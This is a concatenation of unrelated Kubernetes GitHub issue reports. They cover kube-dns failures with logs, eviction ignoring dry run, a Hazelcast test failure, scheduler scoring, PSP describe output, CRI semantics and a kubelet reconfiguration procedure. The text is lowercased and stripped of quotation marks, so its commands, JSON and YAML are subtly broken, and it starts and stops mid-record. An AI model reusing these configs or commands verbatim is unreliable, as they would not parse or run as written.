nslookup google.com\r ;; connection timed out; no servers could be reached\r command terminated with exit code 1\r \r  root@host tmp $ ping google.com\r ping google.com  172.217.21.228  56 84  bytes of data.\r \r  root@host tmp $ kubectl exec -it pod1r-0 -- cat /etc/resolv.conf\r nameserver 10.96.0.10\r search default.svc.cluster.local svc.cluster.local cluster.local corp.fin\r options ndots:5\r    \r netstato kube-dns pod shows that port 53 is available:\r    \r udp        0      0 :::53                   ::: \r    \r    \r  root@host tmp $ kubectl get ep -n=kube-system\r name                     endpoints                    age\r default-http-backend     10.32.0.11:8080              17m\r kube-controller-manager  <none>                       25m\r kube-dns                 10.32.0.10:53,10.32.0.10:53  25m\r kube-scheduler           <none>                       25m\r    \r \r   log  \r kube-dns:\r    i0131 11:13:13.666316       1 dns.go:48  version: 1.14.6-3-gc36cb11\r i0131 11:13:13.667286       1 server.go:69  using configuration read from directory: /kube-dns-config with period 10s\r i0131 11:13:13.667341       1 server.go:112  flag: --alsologtostderr=\ false\ \r i0131 11:13:13.667358       1 server.go:112  flag: --config-dir=\ /kube-dns-config\ \r i0131 11:13:13.667366       1 server.go:112  flag: --config-map=\ \ \r i0131 11:13:13.667370       1 server.go:112  flag: --config-map-namespace=\ kube-system\ \r i0131 11:13:13.667378       1 server.go:112  flag: --config-period=\ 10s\ \r i0131 11:13:13.667384       1 server.go:112  flag: --dns-bind-address=\ 0.0.0.0\ \r i0131 11:13:13.667390       1 server.go:112  flag: --dns-port=\ 10053\ \r i0131 11:13:13.667396       1 server.go:112  flag: --domain=\ cluster.local.\ \r i0131 11:13:13.667404       1 server.go:112  flag: --federations=\ \ \r i0131 11:13:13.667410       1 server.go:112  flag: --healthz-port=\ 8081\ \r i0131 11:13:13.667415       1 server.go:112  flag: --initial-sync-timeout=\ 1m0s\ \r i0131 11:13:13.667420       1 server.go:112  flag: --kube-master-url=\ \ \r i0131 11:13:13.667425       1 server.go:112  flag: --kubecfg-file=\ \ \r i0131 11:13:13.667428       1 server.go:112  flag: --log-backtrace-at=\ :0\ \r i0131 11:13:13.667441       1 server.go:112  flag: --log-dir=\ \ \r i0131 11:13:13.667446       1 server.go:112  flag: --log-flush-frequency=\ 5s\ \r i0131 11:13:13.667451       1 server.go:112  flag: --logtostderr=\ true\ \r i0131 11:13:13.667455       1 server.go:112  flag: --nameservers=\ \ \r i0131 11:13:13.667459       1 server.go:112  flag: --stderrthreshold=\ 2\ \r i0131 11:13:13.667464       1 server.go:112  flag: --v=\ 2\ \r i0131 11:13:13.667468       1 server.go:112  flag: --version=\ false\ \r i0131 11:13:13.667475       1 server.go:112  flag: --vmodule=\ \ \r i0131 11:13:13.667570       1 server.go:194  starting skydns server  0.0.0.0:10053 \r i0131 11:13:13.668008       1 server.go:213  skydns metrics enabled  /metrics:10055 \r i0131 11:13:13.668025       1 dns.go:146  starting endpointscontroller\r i0131 11:13:13.668032       1 dns.go:149  starting servicecontroller\r i0131 11:13:13.668388       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0131 11:13:13.668419       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0131 11:13:14.168248       1 dns.go:170  initialized services and endpoints from apiserver\r i0131 11:13:14.168273       1 server.go:128  setting up healthz handler  /readiness \r i0131 11:13:14.168287       1 server.go:133  setting up cache handler  /cache \r i0131 11:13:14.168302       1 server.go:119  status http port 8081\r i0131 11:22:20.279276       1 dns.go:555  could not find endpoints for service \ pod1\  in namespace \ default\ . dns records will be created once endpoints show up.\r i0131 11:22:43.352391       1 dns.go:555  could not find endpoints for service \ pod2\  in namespace \ default\ . dns records will be created once endpoints show up.\r    \r \r dnsmasq:\r    i0131 11:13:13.905971       1 main.go:76  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --no-negcache --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i0131 11:13:13.906459       1 nanny.go:94  starting dnsmasq  -k --cache-size=1000 --no-negcache --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i0131 11:13:14.303960       1 nanny.go:119 \r w0131 11:13:14.303958       1 nanny.go:120  got eof from stdout\r i0131 11:13:14.303993       1 nanny.go:116  dnsmasq 18 : started, version 2.78 cachesize 1000\r i0131 11:13:14.304070       1 nanny.go:116  dnsmasq 18 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i0131 11:13:14.304087       1 nanny.go:116  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i0131 11:13:14.304095       1 nanny.go:116  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i0131 11:13:14.304103       1 nanny.go:116  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain cluster.local\r i0131 11:13:14.304125       1 nanny.go:116  dnsmasq 18 : reading /etc/resolv.conf\r i0131 11:13:14.304138       1 nanny.go:116  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i0131 11:13:14.304145       1 nanny.go:116  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i0131 11:13:14.304167       1 nanny.go:116  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain cluster.local\r i0131 11:13:14.304184       1 nanny.go:116  dnsmasq 18 : using nameserver 10.20.58.5 53\r i0131 11:13:14.304206       1 nanny.go:116  dnsmasq 18 : using nameserver 10.20.58.7 53\r i0131 11:13:14.304244       1 nanny.go:116  dnsmasq 18 : read /etc/hosts - 7 addresses\r    \r \r sidecar:\r    i0131 11:13:14.166242       1 main.go:51  version v1.14.6-3-gc36cb11\r i0131 11:13:14.166326       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:33} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:33}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r i0131 11:13:14.166361       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:33}\r i0131 11:13:14.166427       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:33}\r w0131 11:13:14.166849       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:51277->127.0.0.1:53: read: connection refused\r    \r \r   environment  :\r   kubernetes version  use  kubectl version  : v1.9.7\r   docker version: 1.12.6\r   os  e.g. from /etc/os-release : red hat enterprise linux server release 7.6  maipo \r   kernel  e.g.  uname -a  : linux 3.10.0-957.1.3.el7.x86_64\r \r

what happened  :\r the pods/eviction rest handler does not check options.dryrun, and actually evicts the pod\r \r  /assign @apelisse \r / \r the integration test for dry run skips all subresources. as part of fixing this, we should fix that test to exercise subresources. there are likely other subresources that do not wire up dry run

03:00:58         failed to find \ members  2 \ , last result: \ 2015-10-01 09:52:29.758  info 6 ---             main  com.github.pires.hazelcast.application   : starting application on hazelcast-vuvhp with pid 6  /bootstrapper.jar started by root in /  03:00:58         2015-10-01 09:52:29.826  info 6 ---             main  s.c.a.annotationconfigapplicationcontext : refreshing org.springframework.context.annotation.annotationconfigapplicationcontext@1eb31e81: startup date  thu oct 01 09:52:29 gmt 2015 ; root of context hierarchy 03:00:58         2015-10-01 09:52:31.308  info 6 ---             main  o.s.j.e.a.annotationmbeanexporter        : registering beans for jmx exposure on startup 03:00:58         2015-10-01 09:52:31.334  info 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : asking k8s registry at https://kubernetes.default.svc.cluster.local.. 03:00:58         2015-10-01 09:52:32.685  info 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : found 1 pods running hazelcast. 03:00:58         2015-10-01 09:52:32.793  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.5  interfaces is disabled, trying to pick one address from tcp-ip config addresses:  10.245.1.17  03:00:58         2015-10-01 09:52:32.793  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.5  prefer ipv4 stack is true. 03:00:58         2015-10-01 09:52:32.802  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.5  picked address 10.245.1.17 :5701, using socket serversocket addr=/0:0:0:0:0:0:0:0,localport=5701 , bind any local is true 03:00:58         2015-10-01 09:52:33.370  info 6 ---             main  com.hazelcast.spi.operationservice       :  10.245.1.17 :5701  somegroup   3.5  backpressure is disabled 03:00:58         2015-10-01 09:52:33.387  info 6 ---             main  c.h.s.i.o.c.classicoperationexecutor     :  10.245.1.17 :5701  somegroup   3.5  starting with 2 generic operation threads and 2 partition operation threads. 03:00:58         2015-10-01 09:52:33.941  info 6 ---             main  com.hazelcast.system                     :  10.245.1.17 :5701  somegroup   3.5  hazelcast 3.5  20150617 - 4270dc6  starting at address 10.245.1.17 :5701 03:00:58         2015-10-01 09:52:33.942  info 6 ---             main  com.hazelcast.system                     :  10.245.1.17 :5701  somegroup   3.5  copyright  c  2008-2015, hazelcast, inc. all rights reserved. 03:00:58         2015-10-01 09:52:33.942  info 6 ---             main  com.hazelcast.instance.node              :  10.245.1.17 :5701  somegroup   3.5  creating tcpipjoiner 03:00:58         2015-10-01 09:52:33.944  info 6 ---             main  com.hazelcast.core.lifecycleservice      :  10.245.1.17 :5701  somegroup   3.5  address 10.245.1.17 :5701 is starting 03:00:58         2015-10-01 09:52:34.126  info 6 ---             main  com.hazelcast.cluster.impl.tcpipjoiner   :  10.245.1.17 :5701  somegroup   3.5   03:00:58          03:00:58          03:00:58         members  1  { 03:00:58            member  10.245.1.17 :5701 this 03:00:58         } 03:00:58          03:00:58         2015-10-01 09:52:34.168  info 6 ---             main  com.hazelcast.core.lifecycleservice      :  10.245.1.17 :5701  somegroup   3.5  address 10.245.1.17 :5701 is started 03:00:58         2015-10-01 09:52:34.175  info 6 ---             main  com.github.pires.hazelcast.application   : started application in 4.869 seconds  jvm running for 5.613 \  03:00:58     not to have occurred 03:00:58  03:00:58     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:427

currently in scheduler we assume that a  returns value from 0 to 10. this makes scoring quite flat, especially when we are getting to large clusters like 1000-nodes. we should change it to support bigger values and/or float values.  @davidopp

in https://github.com/kubernetes/helm, we're looking to use alpine:3.3 as a base image to keep the footprint small. however, we run kubectl in the container. that's a problem on alpine, and probably other minimalist base images, because kubectl is dynamically linked and so won't launch. please consider including a static build of kubectl in binary releases.  /cc @david-mcmahon, @jlowdermilk

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r describe psp \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1487+a845e3e936e91c-dirty\ , gitcommit:\ a845e3e936e91cd14c4c5b462631233716d5839b\ , gittreestate:\ dirty\ , builddate:\ 2017-03-27t14:04:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1487+a845e3e936e91c-dirty\ , gitcommit:\ a845e3e936e91cd14c4c5b462631233716d5839b\ , gittreestate:\ dirty\ , builddate:\ 2017-03-27t14:04:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r \r doesn't matter.\r \r   what happened  :\r  kubectl describe psp <name>  doesn't show psp's fields:\r    console\r $ kubectl describe psp restricted\r name:\t\trestricted\r namespace:\t\r labels:\t\t<none>\r events:\t\t<none>\r    \r \r   what you expected to happen  :\r all psp fields should be shown.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1.  psp_admission=true allow_privileged=true allow_security_context=true allow_any_token=true enable_rbac=true runtime_config=\ extensions/v1beta1=true,extensions/v1beta1/podsecuritypolicy=true\  hack/local-up-cluster.sh \r 2.  kubectl describe psp restricted

the behavior when requested id doesn't exist is not defined clearly in cri.\r \r currently, we define that  imagestatus  should return  nil, nil  when requested image doesn't exist   see  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/api/v1alpha1/runtime/api.proto l83-l86  , and kubelet is relying on this behavior now   see  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kuberuntime/kuberuntime_image.go l89-l91  .\r \r however, we haven't clearly defined the behavior of  podsandboxstatus  and  containerstatus . currently, they return error when requested sandbox/container doesn't exist, and kubelet is also relying on this behavior.\r \r not super urgent, just track the issue here.\r @yujuhong @feiskyer /cc @kubernetes/sig-node-api-reviews

is this a bug report or feature request?  :\r  \r \r   what happened  :\r i can't set the image name in my deployment.yaml via a config map.\r \r   what you expected to happen  :\r i expect the image name to be set  just like env variable  from my configmap defenition. \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r apiversion: v1\r kind: configmap\r metadata:\r   name: my-map-testing\r   namespace: myspace\r data:\r   my.image: my-image\r ---\r image:\r   valuefrom:\r     configmapkeyref:\r       name: my-map-testing\r       key: my.image\r    \r  error: for field spec.template.spec.containers 0 .image, got map; \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-05t16:40:42z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r gcp\r - os  e.g. from /etc/os-release :\r gcp cloud\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

as part of moving federation out of tree   52992 , the federation build will need to generate   pkg/generated/openapi/zz_generated.openapi.go   for itself and vendored kubernetes.  the following steps are required:\r \r -  x  discover targets for generation  https://github.com/kubernetes/repo-infra/pull/48 \r -  x  update the file's bazel rules to configurably enable a build for vendored kube   54336 \r -  x  support generation of the file to a vendored path  https://github.com/kubernetes/kube-openapi/pull/14 \r -  x  update kubernetes to use latest kazel and kube-openapi   54600  \r \r  testing\r /area federation\r /assign\r \r cc: @shashidharatd @irfanurrehman

 @kubernetes/sig-scheduling-test-failures \r \r ci: https://k8s-testgrid.appspot.com/google-unit bazel-test&width=5\r \r presubmits  note that this will include noise from bad prs : https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-bazel-test

\r   is this a bug report or feature request?  :\r   \r   what happened  :\r reconfigure a node's kubelet in a live cluster does not work\r 1.kubectl proxy --port=8001 &\r 2.node_name=\ the-name-of-the-node-you-are-reconfiguring\ ; curl -ssl \ http://localhost:8001/api/v1/nodes/${node_name}/proxy/configz\  | jq '.kubeletconfig|.kind=\ kubeletconfiguration\ |.apiversion=\ kubelet.config.k8s.io/v1beta1\ ' > kubelet_configz_${node_name}\r    \r {\r   \ syncfrequency\ : \ 1m0s\ ,\r   \ filecheckfrequency\ : \ 20s\ ,\r   \ httpcheckfrequency\ : \ 20s\ ,\r   \ address\ : \ 0.0.0.0\ ,\r   \ port\ : 10250,\r   \ tlscertfile\ : \ /var/lib/kubelet/pki/kubelet.crt\ ,\r   \ tlsprivatekeyfile\ : \ /var/lib/kubelet/pki/kubelet.key\ ,\r   \ authentication\ : {\r     \ x509\ : {\r       \ clientcafile\ : \ /etc/kubernetes/ssl/kube-ca.pem\ \r     },\r     \ webhook\ : {\r       \ enabled\ : true,\r       \ cachettl\ : \ 2m0s\ \r     },\r     \ anonymous\ : {\r       \ enabled\ : false\r     }\r   },\r   \ authorization\ : {\r     \ mode\ : \ alwaysallow\ ,\r     \ webhook\ : {\r       \ cacheauthorizedttl\ : \ 5m0s\ ,\r       \ cacheunauthorizedttl\ : \ 30s\ \r     }\r   },\r   \ registrypullqps\ : 5,\r   \ registryburst\ : 10,\r   \ eventrecordqps\ : 5,\r   \ eventburst\ : 10,\r   \ enabledebugginghandlers\ : true,\r   \ healthzport\ : 10248,\r   \ healthzbindaddress\ : \ 127.0.0.1\ ,\r   \ oomscoreadj\ : -999,\r   \ clusterdomain\ : \ dinfo.cn\ ,\r   \ clusterdns\ :  \r     \ 10.43.0.10\ \r    ,\r   \ streamingconnectionidletimeout\ : \ 4h0m0s\ ,\r   \ nodestatusupdatefrequency\ : \ 10s\ ,\r   \ imageminimumgcage\ : \ 2m0s\ ,\r   \ imagegchighthresholdpercent\ : 85,\r   \ imagegclowthresholdpercent\ : 80,\r   \ volumestatsaggperiod\ : \ 1m0s\ ,\r   \ cgroupsperqos\ : true,\r   \ cgroupdriver\ : \ systemd\ ,\r   \ cpumanagerpolicy\ : \ none\ ,\r   \ cpumanagerreconcileperiod\ : \ 10s\ ,\r   \ runtimerequesttimeout\ : \ 2m0s\ ,\r   \ hairpinmode\ : \ promiscuous-bridge\ ,\r   \ maxpods\ : 110,\r   \ podpidslimit\ : -1,\r   \ resolvconf\ : \ /etc/resolv.conf\ ,\r   \ cpucfsquota\ : true,\r   \ maxopenfiles\ : 1000000,\r   \ contenttype\ : \ application/vnd.kubernetes.protobuf\ ,\r   \ kubeapiqps\ : 5,\r   \ kubeapiburst\ : 10,\r   \ serializeimagepulls\ : true,\r   \ evictionhard\ : {\r     \ imagefs.available\ : \ 15%\ ,\r     \ memory.available\ : \ 100mi\ ,\r     \ nodefs.available\ : \ 10%\ ,\r     \ nodefs.inodesfree\ : \ 5%\ \r   },\r   \ evictionpressuretransitionperiod\ : \ 5m0s\ ,\r   \ enablecontrollerattachdetach\ : true,\r   \ makeiptablesutilchains\ : true,\r   \ iptablesmasqueradebit\ : 14,\r   \ iptablesdropbit\ : 15,\r   \ failswapon\ : false,\r   \ containerlogmaxsize\ : \ 10mi\ ,\r   \ containerlogmaxfiles\ : 5,\r   \ kind\ : \ kubeletconfiguration\ ,\r   \ apiversion\ : \ kubelet.config.k8s.io/v1beta1\ ,\r   \ authentication-token-webhook\ : true,\r   \ authorization-mode\ : \ webhook\ ,\r   \ anonymous-auth\ : false,\r   \ volume-plugin-dir\ : \ /var/lib/kubelet/volumeplugins\ ,\r   \ cluster-dns\ : \ 10.43.0.10\ ,\r   \ v\ : \ 2\ ,\r   \ cni-bin-dir\ : \ /opt/cni/bin\ ,\r   \ root-dir\ : \ /var/lib/kubelet\ ,\r   \ fail-swap-on\ : false,\r   \ register-with-taints\ : \ node-role.kubernetes.io/controlplane=true:noschedule\ ,\r   \ read-only-port\ : \ 0\ ,\r   \ allow-privileged\ : true,\r   \ kubeconfig\ : \ /etc/kubernetes/ssl/kubecfg-kube-node.yaml\ ,\r   \ resolv-conf\ : \ /etc/resolv.conf\ ,\r   \ cluster-domain\ : \ dinfo.cn\ ,\r   \ address\ : \ 0.0.0.0\ ,\r   \ cadvisor-port\ : \ 0\ ,\r   \ cni-conf-dir\ : \ /etc/cni/net.d\ ,\r   \ cgroups-per-qos\ : \ true\ ,\r   \ network-plugin\ : \ cni\ ,\r   \ pod-infra-container-image\ : \ rancher/pause-amd64:3.1\ ,\r   \ cgroup-driver\ : \ systemd\  \r }\r    \r \r ps aux | grep kubelet\r \r    \r  rancher@node158 ~ $ ps aux | grep kubelet\r rancher  19408  0.0  0.0 112724   984 pts/0    s+   13:57   0:00 grep --color=auto kubelet\r root     23560  4.9  0.9 1827920 153652 ?      ssl  8月17 220:46 kubelet --pod-infra-container-image=rancher/pause-amd64:3.1 --cloud-provider= --v=2\r  --address=0.0.0.0 --cadvisor-port=0 --cni-conf-dir=/etc/cni/net.d --authentication-token-webhook=true \r  --volume-plugin-dir=/var/lib/kubelet/volumeplugins --client-ca-file=/etc/kubernetes/ssl/kube-ca.pem \r  --fail-swap-on=false --anonymous-auth=false --cluster-domain=dinfo.cn --cluster-dns=10.43.0.10 --read-only-port=0 --cgroups-per-qos=true\r  --enforce-node-allocatable= --cni-bin-dir=/opt/cni/bin --allow-privileged=true --kubeconfig=/etc/kubernetes/ssl/kubecfg-kube-node.yaml \r  --network-plugin=cni --resolv-conf=/etc/resolv.conf --hostname-override=192.168.181.158 --root-dir=/var/lib/kubelet --cgroup-driver=systemd\r    \r \r 3.edit the file\r change authorization.mode=\ webhook\ \r \r    \r {\r   \ syncfrequency\ : \ 1m0s\ ,\r   \ filecheckfrequency\ : \ 20s\ ,\r   \ httpcheckfrequency\ : \ 20s\ ,\r   \ address\ : \ 0.0.0.0\ ,\r   \ port\ : 10250,\r   \ tlscertfile\ : \ /var/lib/kubelet/pki/kubelet.crt\ ,\r   \ tlsprivatekeyfile\ : \ /var/lib/kubelet/pki/kubelet.key\ ,\r   \ authentication\ : {\r     \ x509\ : {\r       \ clientcafile\ : \ /etc/kubernetes/ssl/kube-ca.pem\ \r     },\r     \ webhook\ : {\r       \ enabled\ : true,\r       \ cachettl\ : \ 2m0s\ \r     },\r     \ anonymous\ : {\r       \ enabled\ : false\r     }\r   },\r   \ authorization\ : {\r     \ mode\ : \ webhook\ ,\r     \ webhook\ : {\r       \ cacheauthorizedttl\ : \ 5m0s\ ,\r       \ cacheunauthorizedttl\ : \ 30s\ \r     }\r   },\r   \ registrypullqps\ : 5,\r   \ registryburst\ : 10,\r   \ eventrecordqps\ : 5,\r   \ eventburst\ : 10,\r   \ enabledebugginghandlers\ : true,\r   \ healthzport\ : 10248,\r   \ healthzbindaddress\ : \ 127.0.0.1\ ,\r   \ oomscoreadj\ : -999,\r   \ clusterdomain\ : \ dinfo.cn\ ,\r   \ clusterdns\ :  \r     \ 10.43.0.10\ \r    ,\r   \ streamingconnectionidletimeout\ : \ 4h0m0s\ ,\r   \ nodestatusupdatefrequency\ : \ 10s\ ,\r   \ imageminimumgcage\ : \ 2m0s\ ,\r   \ imagegchighthresholdpercent\ : 85,\r   \ imagegclowthresholdpercent\ : 80,\r   \ volumestatsaggperiod\ : \ 1m0s\ ,\r   \ cgroupsperqos\ : true,\r   \ cgroupdriver\ : \ systemd\ ,\r   \ cpumanagerpolicy\ : \ none\ ,\r   \ cpumanagerreconcileperiod\ : \ 10s\ ,\r   \ runtimerequesttimeout\ : \ 2m0s\ ,\r   \ hairpinmode\ : \ promiscuous-bridge\ ,\r   \ maxpods\ : 110,\r   \ podpidslimit\ : -1,\r   \ resolvconf\ : \ /etc/resolv.conf\ ,\r   \ cpucfsquota\ : true,\r   \ maxopenfiles\ : 1000000,\r   \ contenttype\ : \ application/vnd.kubernetes.protobuf\ ,\r   \ kubeapiqps\ : 5,\r   \ kubeapiburst\ : 10,\r   \ serializeimagepulls\ : true,\r   \ evictionhard\ : {\r     \ imagefs.available\ : \ 15%\ ,\r     \ memory.available\ : \ 100mi\ ,\r     \ nodefs.available\ : \ 10%\ ,\r     \ nodefs.inodesfree\ : \ 5%\ \r   },\r   \ evictionpressuretransitionperiod\ : \ 5m0s\ ,\r   \ enablecontrollerattachdetach\ : true,\r   \ makeiptablesutilchains\ : true,\r   \ iptablesmasqueradebit\ : 14,\r   \ iptablesdropbit\ : 15,\r   \ failswapon\ : false,\r   \ containerlogmaxsize\ : \ 10mi\ ,\r   \ containerlogmaxfiles\ : 5,\r   \ kind\ : \ kubeletconfiguration\ ,\r   \ apiversion\ : \ kubelet.config.k8s.io/v1beta1\ \r }\r \r    \r \r 4.kubectl -n kube-system create configmap my-node-config --from-file=kubelet=kubelet_configz_${node_name} --append-hash -o yaml\r \r it will produce a configmap copy it name.\r \r 5.kubectl edit node 192.168.191.128\r \r paste the config info to it\r \r    \r apiversion: v1\r kind: node\r metadata:\r   annotations:\r     flannel.alpha.coreos.com/backend-data: '{\ vtepmac\ :\ 86:61:01:d9:7c:56\ }'\r     flannel.alpha.coreos.com/backend-type: vxlan\r     flannel.alpha.coreos.com/kube-subnet-manager: \ true\ \r     flannel.alpha.coreos.com/public-ip: 192.168.191.128\r     node.alpha.kubernetes.io/ttl: \ 0\ \r     rke.cattle.io/external-ip: 192.168.191.128\r     rke.cattle.io/internal-ip: 192.168.191.128\r     volumes.kubernetes.io/controller-managed-attach-detach: \ true\ \r   creationtimestamp: 2018-08-17t04:18:07z\r   labels:\r     beta.kubernetes.io/arch: amd64\r     beta.kubernetes.io/fluentd-ds-ready: \ true\ \r     beta.kubernetes.io/os: linux\r     kubernetes.io/hostname: 192.168.191.128\r     node-role.kubernetes.io/worker: \ true\ \r   name: 192.168.191.128\r   resourceversion: \ 618388\ \r   selflink: /api/v1/nodes/192.168.191.128\r   uid: 8b435900-a1d4-11e8-8c8a-000c29541fa1\r spec:\r   configsource:\r     configmap:\r       kubeletconfigkey: kubelet\r       name: my-node-config-2m72htkctb\r       namespace: kube-system\r   podcidr: 10.42.3.0/24\r status:\r   addresses:\r   - address: 192.168.191.128\r     type: internalip\r   - address: 192.168.191.128\r     type: hostname\r   allocatable:\r     cpu: \ 2\ \r     ephemeral-storage: \ 142792246650\ \r     hugepages-2mi: \ 0\ \r     memory: 16330060ki\r     pods: \ 110\ \r   capacity:\r     cpu: \ 2\ \r     ephemeral-storage: 154939504ki\r     hugepages-2mi: \ 0\ \r     memory: 16432460ki\r     pods: \ 110\ \r   conditions:\r   - lastheartbeattime: 2018-08-20t06:10:24z\r     lasttransitiontime: 2018-08-17t04:18:07z\r     message: kubelet has sufficient disk space available\r     reason: kubelethassufficientdisk\r     status: \ false\ \r     type: outofdisk\r   - lastheartbeattime: 2018-08-20t06:10:24z\r     lasttransitiontime: 2018-08-17t04:18:07z\r     message: kubelet has sufficient memory available\r     reason: kubelethassufficientmemory\r     status: \ false\ \r     type: memorypressure\r   - lastheartbeattime: 2018-08-20t06:10:24z\r     lasttransitiontime: 2018-08-17t04:18:07z\r     message: kubelet has no disk pressure\r     reason: kubelethasnodiskpressure\r     status: \ false\ \r     type: diskpressure\r   - lastheartbeattime: 2018-08-20t06:10:24z\r     lasttransitiontime: 2018-08-17t04:18:07z\r     message: kubelet has sufficient pid available\r     reason: kubelethassufficientpid\r     status: \ false\ \r     type: pidpressure\r   - lastheartbeattime: 2018-08-20t06:10:24z\r     lasttransitiontime: 2018-08-17t04:18:47z\r     message: kubelet is posting ready status\r     reason: kubeletready\r     status: \ true\ \r     type: ready\r   daemonendpoints:\r     kubeletendpoint:\r       port: 10250\r   images:\r   - names:\r     - dinfo.cn/ubuntu/herokuish@sha256:0af374a1b25424bb1fd490d2102fb17de0b60208fad2b414e745a33b9de8c901\r     - dinfo.cn/ubuntu/herokuish:0.4.2\r     sizebytes: 1296308975\r   - names:\r     - docker.io/rancher/hyperkube@sha256:4ef65d3eda5a56db46da3aeff6f67bf34f2b03c344c1f86aab2847ba3ffd187f\r     - docker.io/rancher/hyperkube:v1.11.1-rancher1\r     sizebytes: 939028696\r   - names:\r     - dinfo.cn/nlpapi/comment-api-service@sha256:e705df1fa84b8a1a27a9091674651efa465c82dc0375c30f8db538778be682f7\r     - dinfo.cn/nlpapi/comment-api-service:3.1\r     sizebytes: 827504947\r   - names:\r     - dinfo.cn/nlpapi/pipeline-algorithm@sha256:166e0a58d19936baa1791bfc3128055cc818e93bf130cc788c63b15765a81a58\r     - dinfo.cn/nlpapi/pipeline-algorithm:3.0\r     sizebytes: 811032489\r   - names:\r     - dinfo.cn/nlpapi/distance-algorithm@sha256:dc60b51099590095410339e4cf4aac017b9f08ce745cca316d3988350e44e28e\r     - dinfo.cn/nlpapi/distance-algorithm:3.0\r     sizebytes: 811027181\r   - names:\r     - dinfo.cn/nlpapi/semantic-algorithm@sha256:91203dcf4d11a192cc2a50dd5cb7386d611f1fb364fe69b33fa601e1a698d681\r     - dinfo.cn/nlpapi/semantic-algorithm:3.0\r     sizebytes: 810588185\r   - names:\r     - docker.io/istio/proxy@sha256:89ea24cbd96e4c6d15dcde0680cccaadc0c9262deec1ae21787af6b603437d4c\r     - docker.io/istio/proxy:0.7.1\r     sizebytes: 769154240\r   - names:\r     - quay.io/coreos/hyperkube@sha256:699fc03fccb1c4662fee9d996cf30106aea55a6f594d16c1504cc7334dadcee4\r     - quay.io/coreos/hyperkube:v1.7.6_coreos.0\r     sizebytes: 699456364\r   - names:\r     - docker.elastic.co/kibana/kibana-oss@sha256:61c80292ce97b05f460efe26409f176c20d8f493b9ec4bdd9da0a8fa78ff8f0a\r     - docker.elastic.co/kibana/kibana-oss:6.3.0\r     sizebytes: 542783838\r   - names:\r     - docker.io/istio/examples-bookinfo-reviews-v1@sha256:920d46b3c526376b28b90d0e895ca7682d36132e6338301fcbcd567ef81bde05\r     - docker.io/istio/examples-bookinfo-reviews-v1:1.8.0\r     sizebytes: 525074812\r   - names:\r     - docker.io/istio/examples-bookinfo-reviews-v2@sha256:d2483dcb235b27309680177726e4e86905d66e47facaf1d57ed590b2bf95c8ad\r     - docker.io/istio/examples-bookinfo-reviews-v2:1.8.0\r     sizebytes: 525074812\r   - names:\r     - 